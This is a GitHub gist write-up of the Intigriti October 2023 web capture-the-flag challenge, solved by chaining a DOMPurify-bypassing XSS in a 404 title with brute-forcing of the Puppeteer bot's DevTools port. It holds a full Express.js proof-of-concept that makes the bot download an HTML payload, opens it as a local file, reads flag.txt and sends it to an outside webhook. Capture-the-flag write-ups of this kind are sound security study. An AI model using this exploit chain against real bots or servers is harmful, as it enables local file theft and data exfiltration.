Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 15, 2024 18:30
Show Gist options
  • Save Siss3l/a61d1178bd04503311d3f8c12a0538b1 to your computer and use it in GitHub Desktop.
Save Siss3l/a61d1178bd04503311d3f8c12a0538b1 to your computer and use it in GitHub Desktop.
Intigriti's October 2023 Web challenge thanks to @kevin-mizu

Intigriti October Challenge

  • Category:   Web
  • Impact:       Medium
  • Solves:        14

Challenge

Description

Find the flag.txt on server-side.

The solution:

  • Should retrieve the flag.txt from the web server;
  • Should not use another challenge on the intigriti.io domain;
  • The flag format is INTIGRITI{.*}.

Overview

For this October month, we have a web challenge page displaying a quiz with an username to choose:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Intigriti XSS Challenge - <%- title %></title><!-- CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM" crossorigin="anonymous">
    <link rel="stylesheet" href="/static/css/main.css"><!-- JS -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js" integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz" crossorigin="anonymous"></script>
    <script src="/static/js/main.js"></script>
  </head>
  <body>
    <div class="container" style="padding-top:100px;">
      <div class="card">
        <div id="quiz" class="card-body">
          <h2 class="card-title mb-4 mt-4">What's your username?</h2>
          <div class="form-floating mb-3" style="width:50%;margin:auto;">
            <input id="username" type="text" class="form-control" id="floatingInput" placeholder="username">
            <label for="floatingInput">Pseudo</label>
          </div>
          <button type="button" onclick="startQuiz(document.getElementById('username').value);" class="btn btn-outline-secondary mt-2 mb-2" style="width:80%;width:20%;margin:auto;">Submit</button>
        </div>
      </div>
    </div>
  </body>
</html>

We notice an own XSS <img src onerror=alert(1)> possible within the username value and an injection in the title <%- title %> part knowing that:

  • <% Scriptlet tag, for control-flow, no output;
  • <%= Outputs the value into the template, HTML escaped;
  • <%- Outputs the unescaped value into the template.

The getTitle JavaScript function is also vulnerable to XSS if the DOMPurify sanitizer is not triggered in some ways:

app.use((req, res) => {
  const getTitle = (path) => {
    path = decodeURIComponent(path).split("/"); // Crashing on `%ff` character as `URIError: URI malformed`.
    path = path.slice(-1).toString(); // Extract the last slash.
    return DOMPurify.sanitize(path);  // Have to be bypassed with parsing closed title.
  }
  res.status(404); // The HTTP 404 error indicates that the server could not find what was requested.
  res.render("404", {title: getTitle(req.path)}); // The `req.path` property contains the path of the request URL.
});

The percent sign character % have to be URL encoded, thus becomes %25 and the slash character / becomes &sol; ultimately.
Then the XSS %3Ca%20href=%22%3C&sol;title%3E%3Cimg%20src%20onerror=alert(1)%3E%22%3E will pop for a manual action.

JS

Research

We understand that we can redirect the headless browser on Puppeteer bot script in the source code via any custom link, but we will have to eliminate the most unlikely leads (that we will succinctly go over for time-saving) because we cannot:

void DevToolsHttpHandler::OnWebSocketRequest(int connection_id, const net::HttpServerRequestInfo& request) {
  if (request.headers.count("origin") && !remote_allow_origins_.count(request.headers.at("origin")) && !remote_allow_origins_.count("*")) {
    const std::string& origin = request.headers.at("origin");
    const std::string message = base::StringPrintf(
        "Rejected an incoming WebSocket connection from the %s origin. Use the command line flag --remote-allow-origins=%s to allow "
        "connections from this origin or --remote-allow-origins=* to allow all origins.", origin.c_str(), origin.c_str());
    Send403(connection_id, message); LOG(ERROR) << message; return;
  }
}

Testing

We can set up a local environment on Docker with a specific remote debug address, port to 9222, screenshots or false headless mode to view our requests:

async function goto(url) { // execFile("/usr/bin/node", ["/app/bot.js", `http://localhost:3000${url}`], (e,o,r)=>{};
  const browser = await puppeteer.launch({
    headless: false, ignoreHTTPSErrors: true, // docker compose up && DEBUG='puppeteer:*' node app.js
      args: [
        "--remote-debugging-address=0.0.0.0",
        "--remote-debugging-port=9222",
        "--no-sandbox", "--ignore-certificate-errors",
        "--disable-web-security" // no CORS
      ], executablePath: "/usr/bin/chromium-browser" // Version 117+
  });
  const page = await browser.newPage(); // "chrome://version"
  try {
    await page.goto(url);
    await page.screenshot({path: "/tmp/screenshot.png", fullPage: true});
  } catch (e) { console.info(e); }
  console.log("[LOG] Closing browser."); return;
}

At the end of the day/night, we note that we can write an arbitrary file to the Downloads folder, attempt some LFI (checking Dockerfile config) and use the Chrome Devtools Protocol with it.

Screenshot

Exploitation

After intensive readings that we will cut short, the most likely approach we have come up to is sending the XSS (of page 404) to the Puppeteer bot, multithreaded parallel bruteforcing of the used random Devtools port (with awaiting) to make it download the LFI payload in the session, opening a new web page tab due to the Devtools protocol who will be set on a valid file location and finally, exfiltrating the flag.txt content in the url parameter towards a webhook at our disposal!

Here is our simple Express.js proof of concept script:

const express = require("express");
const app  = express(); // npm install express && node index.js && ngrok http 8000
const [head, body, port] = [`<!DOCTYPE html>\n<html lang="en"><body><head><meta charset="UTF-8"><title>POC</title></head><script>`,"</script></body></html>",3001];
app.use(express.static("public"));

(async () => {
    let _delay = "let i=0;const delay=()=>{i++;if(i>=5){clearInterval(int)}};let int=setInterval(delay,25e3);";
    let url = "https://challenge-1023.intigriti.io/api/report?url=/";
    let xss = escape(encodeURIComponent("<a class=" + '"' + /* to be delayed */
        "<&sol;title><img src onerror='window.open(`http:&sol;&sol;ngrok.localhost:3001&sol;brut`);let i=document.createElement(`img`);" +
        "i.src=`http:&sol;&sol;ngrok.localhost:3001&sol;gif`;document.body.appendChild(i)'" + '"' + ">;"));
    console.info(`curl ${url + xss} -k`); // As `URL sended to the bot!`
})();

app.get("/", async (req, res) => {
    res.status(200).send("Oh, hi, Mark.");
});

app.get("/brut", async (req, res) => {
    let scr = head + `(async () => { // await, no SDK needed.
        async function view(k) {
            async function flag(url, port) { // Specify domain, with Ngrok or VPS.
                let a = document.createElement("a"); a.href=url+1234+"/lfi"; a.download="exp.htm"; a.click();
                // window.open(url + 1234 + "/lfi");
                await new Promise(r => setTimeout(r, 5000)); // "C:/Users/%username%/Downloads/exp.htm"
                fetch("http://localhost:" + port + "/json/new?file:///home/challenge/Downloads/exp.htm", {method:"PUT"});
                "debugger"; // Not stopped on client, if multiple ports.
            }
            const P = Array.from({length: 1000}, (_, i) => fetch("http://localhost:"+(i+k)+"/json").then(req=>(req.status===200?flag("http://localhost:",i+k):0)).catch(_=>-1));
            return Promise.all(P);
        }
        let L = Array.from({length: 40}, (_, i) => view(i*1e3+30e3)); // Ordered, values to be changed.
        return Promise.allSettled(L).then(r => console.info(r)); })();` + body;
    res.status(200).send(scr);
});

app.get("/gif", async (req, res) => {
    res.type("image/gif"); /** Used to counter the "TimeoutError: Navigation timeout of 30000 ms exceeded" with intervals. */
    res.status(200).send(Buffer.from("R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=", "base64")); // XMLHttpRequests possible too.
});

app.get("/lfi", async (req, res) => {
    let hook = "https://testor.free.beeceptor.com"; // mizu.re
    let file = process.platform === "win32" ? "C:/bootTel.dat" : "flag.txt"; // The challenge runs on Linux.
    let dl   = head + `fetch("file:///${file}", {method:"GET", headers:{}}).then(r => r.text()).then(r=>{` +
               `navigator.sendBeacon("${hook}/?"+btoa(unescape(encodeURIComponent(r))))});` + body;
    res.attachment("exp.htm"); // Cannot be overwritten but can add `Date.now()` to the attachment filename.
    res.status(200).send(dl); return res.end();
});

app.get("*", async (_, res) => { res.status(404).send("https://http.cat/images/404.jpg"); });

app.listen(port, async () => { console.info(`App started on port ${port}."); });

The bruteforce may be a bit slow and could need to be restarted until it succeeds.
Denote that JavaScript isn't really designed for this since it's single-threaded.

Math

We end up with a request to our host with the desired INTIGRITI{Pupp3t3eR_wIth0ut_S0P_LFI} flag!

Defense

Breach

  • Following Open Worldwide Application Security Project recommendations;
  • Adding functional Content Security Policies;
  • Prevent unauthorized third-party use of Devtools, Puppeteer and WebSockets;
  • Control exfiltrations and read/write accesses.

Appendix

Kubernetes

This was interesting to see, applying simplistic concepts familiar from the web security field
but regretful that the challenge was so unstable, thereforth we sent all our support to the team, bye bye!

Goodbye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment